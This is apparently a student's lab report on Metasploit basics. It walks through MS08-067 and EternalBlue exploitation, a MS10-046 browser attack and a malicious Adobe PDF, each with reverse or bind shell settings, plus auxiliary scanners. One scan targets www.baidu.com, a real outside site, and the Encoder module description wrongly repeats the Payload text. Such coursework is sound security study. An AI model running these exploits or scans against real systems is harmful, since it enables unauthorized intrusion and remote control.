Exp6 msf基础应用
前期准备
一、实验目标与基础知识
1.1 实践目标
实践对象
- Kali Linux
- Windows XP
- Windows 7
实践内容
- 成功主动攻击,如 ms08-067
- 成功针对浏览器的攻击,如 ms11-050
- 成功针对客户端的攻击,如 Adobe
- 成功应用辅助模块的攻击
1.2 基础知识
1.2.1 msf 模块说明
- Exploit模块
- 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- Payload模块
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- Encoder模块
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- Auxiliary模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- Nop模块
- 空字段模块
1.2.2 msf常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
二、靶机准备
- 攻击渗透实验,需要用到两个虚拟机,一个作为攻击机,另一个作为被攻击的靶机,本实验我的攻击机为 kali ,靶机 为 Windows XP sp ,ip地址分别为 192.168.0.100 , 192.168.0.103 ,在下面的实验步骤中不再赘述。
- 实验开始之前,首先测试靶机与攻击机之间能否 ping 通。
- 如果双方不能实现互相 ping 通的话,大概率是 XP 的防火墙没有关或没有关完全
实验步骤
一、主动攻击
1.MS08-067 漏洞渗透攻击实践
- MS08-067 漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,对远程访问的路径进行规范化,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
- 攻击者试探靶机是否存在 ms08_067 这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.0.103
- 查看到靶机的版本信息
-
- 查到靶机存在此漏洞
- 输入指令
msfconsole
进入控制台,使用指令search ms08_067
指令查询一下针对该漏洞能够运用的攻击模块
- 输入指令
use exploit/windows/smb/ms08_067_netapi
进入该攻击模块,使用show payloads
查看能够使用的攻击载荷
- 选择
shell_reverse_tcp
,输入指令set payload generic/shell_reverse_tcp
设置 payload 为反向 tcp 连接 - 显示连接需要设置的参数
show options
- 然后部署 payload 参数
set RHOST 192.168.0.103 //设置靶机IP
set LPORT 4318 //设置攻击机端口
set LHOST 192.168.0.100//设置攻击机IP
exploit
- 成功回连:
- 可以使用
systeminfo
来查看靶机的系统信息,关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。
2.MS17_010漏洞渗透攻击实践
- 使用
nmap --script=vuln 192.168.0.103
查看 win7有什么漏洞可以利用
- 使用
search ms17_010
指令查询一下针对该漏洞能够运用的攻击模块
- 输入指令
use exploit/windows/smb/ms17_010_eternalblue
进入该攻击模块,使用show payloads
查看能够使用的攻击载荷
- 选择
windows/x64/meterpreter/bind_tcp
,输入指令set payload windows/x64/meterpreter/bind_tcp
设置 payload 为绑定 tcp 连接 - 然后部署参数:
set RHOST 192.168.0.103 //设置靶机IP
set LPORT 4318 //设置攻击机端口
set LHOST 192.168.0.100 //设置攻击机IP
exploit
- 回连成功:
二、针对浏览器的攻击
1. ms10_046 漏洞攻击
- 首先查看浏览器漏洞:
cd/usr/share/metasploit-framework/modules/exploits/windows/browser
- 输入 ls 即可看到很多漏洞代码,选择
ms10_046_shortcut_icon_dllloader.rb
- 启动msf,输入
search ms10_046
先找相关漏洞模块
- 输入
use windows/browser/ms10_046_shortcut_icon_dllloader
,使用show payloads
查找有效攻击载荷
- 然后设置参数
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.0.100 //设置攻击者IP
set SRVHOST 192.168.0.100 //设置服务器IP(攻击者IP)
exploit //进行攻击
- 在靶机用浏览器打开生成的链接:
http://192.168.0.100:80/
- 查看会话:
sessions
- 选取会话:
sessions -i 1 进入shell,攻击成功
三、针对客户端的攻击
- 启动 msf 输入
search adobe
查询针对 adobe 攻击模块
- 使用
use windows/fileformat/adobe_cooltype_sing
设置模块 - 输入
show payloads
查找有效攻击载荷
- 使用
set payload windows/meterpreter/bind_tcp
设置 payloads - 根据 options 设置相关参数
set RHOST 192.168.0.103 //靶机ip
set LPORT 4318 //攻击端口
exploit //生成pdf
- 使用指令将文件复制到主文件夹下 cp /root/.msf4/local/msf.pdf /root
- 将生成的 msf.pdf 复制到 Windows XP 中,
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set RHOST 192.168.0.103 //靶机IP
set LPORT 4318 //攻击端口
exploit
- 由于我安装的XP虚拟机没有adobe reader,需要自行下载,版本为9.0
- 在xp上打开文件,kali 里回连成功:
四、成功应用任何一个辅助模块
- server_info(唯一)
- msf 里输入
show auxiliary
查看所有的辅助模块
- 选择
scanner/steam/server_info
,输入info scanner/steam/server_info
查看模块信息,请求从服务器获取信息,扫描范围默认为10(从起始地址开始往后扫10个),端口固定为UDP端口27015。端口27015只是用作输入/输出的通信端口。
- 输入
use scanner/steam/server_info
使用漏洞 - 输入
set RHOSTS 192.168.0.100
为起始IP - 输入
exploit
开始攻击
- 发现这个网段里没有服务器
- 使用 dir_scanner 搜索网站目录
- 输人
use auxiliary/scanner/http/dir_scanner
设置模块 - 设置参数
set THREADS 50
set RHOSTS www.baidu.com
exploit
-
dir_scanner 模块发现了百度网站目录的 cache http 状态码 200 ,表示请求成功
-
端口扫描模块
-
具体有以下几种扫描方式:
auxiliary/scanner/portscan/ack
:通过 ACK 扫描的方式对防火墙上未被屏蔽的端口进行探测auxiliary/scanner/portscan/ftpbounce
:通过 FTP bounce 攻击的原理对 TCP 服务进行枚举,在一些旧的Solaris及FreeBSD系统的FTP服务中此类攻击方式仍能被利用。auxiliary/scanner/portscan/syn
:使用发送 TCP SYN 标志的方式探测开放的端口auxiliary/scanner/portscan/tcp
:通过一次完整的 TCP 连接来判断端口是否开放auxiliary/scanner/portscan/xmas
:通过发送 FIN、PSH、URG 标志,相对而言较为隐蔽。
-
试试 tcp 扫描,通过一次完整的 TCP 连接来判断端口是否开放
-
输入
use auxiliary/scanner/portscan/tcp
设置模块 -
设置参数
set RHOSTS 192.168.0.103 //靶机IP
set THREADS 50
exploit
- 端口开放:
实验总结
一、基础问题回答
(1)用自己的话解释什么是exploit,payload,encode?
『exploit:是一个漏洞攻击的工具,可以用来将恶意代码、漏洞注入靶机中;
payload:是有效荷载,是用来真正实施攻击的恶意代码;
encode:是编码,相当于是给 payload 披一件外套,让杀软难以分辨。』
二、实验总结与体会
本次实验的内容相对来说比较单一,都是借助 msf 来实现漏洞攻击,步骤大致为攻击机扫描出靶机上存在的漏洞,然后在 msf 里设置相应 payload ,通过不同的方式注入到靶机里,实现成功的攻击。
实际操作起来并没有遇上什么困难,但靶机的环境确实有点差,需要找到适合本实验的,也就是存在我们用到的漏洞,英文版的 xp 自带的软件很少,而且没有下载更新语言包的话会中文乱码。
通过本次实验也学到了很多的东西,之前运用 msf 的时候需要对照着一步一步设置,现在感觉都可以一步到位了,也节省了很多时间,另外,也认识到了操作系统存在的漏洞是很多的,在今后的运用中更是要格外小心。
三、离实战还缺些什么技术或步骤?
离实战缺的技术感觉是挺多的,目前以我们的实力想要攻击别的主机存在很多的问题,因为到目前为止的实验里,我们都是通过自己操作靶机去连接攻击主机,才实现的成功攻击,如果脱离了这一步也是没有什么头绪的,可能需要在外面的包装上加一层修饰,达到“钓鱼”的效果。